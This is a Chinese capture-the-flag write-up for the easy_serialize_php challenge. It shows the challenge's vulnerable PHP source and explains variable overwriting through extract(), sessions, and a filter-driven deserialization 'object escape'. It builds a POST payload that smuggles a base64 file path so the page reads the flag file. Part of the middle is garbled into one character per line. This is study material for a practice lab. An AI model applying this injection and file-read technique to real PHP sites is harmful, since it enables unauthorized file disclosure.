[安洵杯 2019]easy_serialize_php 1
知识点:
d0g3_f1ag.php
ZDBnM19mMWFnLnBocA==
<?php
$function = @$_GET['f'];//传参
function filter($img){ //这里的作用是进行一个过滤,将危险字符'php','flag','php5','php4','fl1g'进行过滤
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION); //如果变量_SESSION存在,则进行销毁_SESSION
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);// 这里是运用了变量覆盖
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));//哈希函数shal
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));//本题的危险函数,利用此函数进行操作
}
一.extract函数
这个函数是进行变量覆盖的,意思是将此post的内容作为前面变量的值
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] ='123';
echo '覆盖前:';
var_dump($_SESSION);
echo "<br>";
extract($_POST);
echo '覆盖后:';
var_dump($_SESSION);
结果如图所示:
二._SESSION的学习
例如我们打电话,从拨通的那一刻起到挂断电话期间,因为电话一直保持着接通的状态,所以把这种接通的状态叫做session。它是访客与整个网站交互过程中一直存在的公有变量,在客户端不支持COOKIE的时候,为了保证数据正确、安全,就采用SESSION变量。
SESSION了解
三.对象逃逸
$_SESSION[‘flagphp’]=‘i:1;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}’;
S
E
S
S
I
O
N
[
′
i
m
g
′
]
=
s
h
a
1
(
b
a
s
e
6
4
e
n
c
o
d
e
(
′
123.
p
h
p
′
)
)
;
/
/
这里是随便写的
123.
p
h
p
。最后程序给的参数会被逃逸掉,写什么都没关系。
e
c
h
o
s
e
r
i
a
l
i
z
e
(
_SESSION['img'] = sha1(base64_encode('123.php')); //这里是随便写的123.php。最后程序给的参数会被逃逸掉,写什么都没关系。 echo serialize(
SESSION[′img′]=sha1(base64encode(′123.php′));//这里是随便写的123.php。最后程序给的参数会被逃逸掉,写什么都没关系。echoserialize(_SESSION);
//a:2:{s:7:“flagphp”;s:45:“i:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}”;s:3:“img”;s:40:“17770ed716103f91ef23d9913f0f6e37d75f4da7”;}
//现在flagphp被过滤就成了
a:2:{s:7:" “;s:45: " i:1;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}”;s:3:“img”;s:40:“17770ed716103f91ef23d9913f0f6e37d75f4da7”;}
//第一个属性名为";s:45: 但发现后面的对不上,缺了一个;
所以给它加一个$_SESSION[‘flagphp’]的值最前面加一个冒号,这样它的值就是数字1,属性名也对了,非常合适
$_SESSION[‘flagphp’]=‘;i:1;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}’;
$_SESSION[‘img’] = sha1(base64_encode(‘123.php’));
//a:2:{s:7:“flagphp”;s:44:“;i:1;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}”;s:3:“img”;s:40:“17770ed716103f91ef23d9913f0f6e37d75f4da7”;}
//a:2:{s:7:" ";s:44: “;i:1;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}”;s:3:“img”;s:40:“17770ed716103f91ef23d9913f0f6e37d75f4da7”;}
现在想为什么要传flagphp七个数?你想啊,后面的值在序列化时必定要有几十个。假设已经被替换成空格了,后面会有什么? 有 “;s:55:”" 这些至少的是4个字符以上。为什么是7个数,不是8个,因为属性名被替换成空格后,后面的代替了属性名只能是7个值,所以正好构造7位数的被替换成空格。不知道解释清楚没? 但是,细品,多思考
现在非常合适。POST传值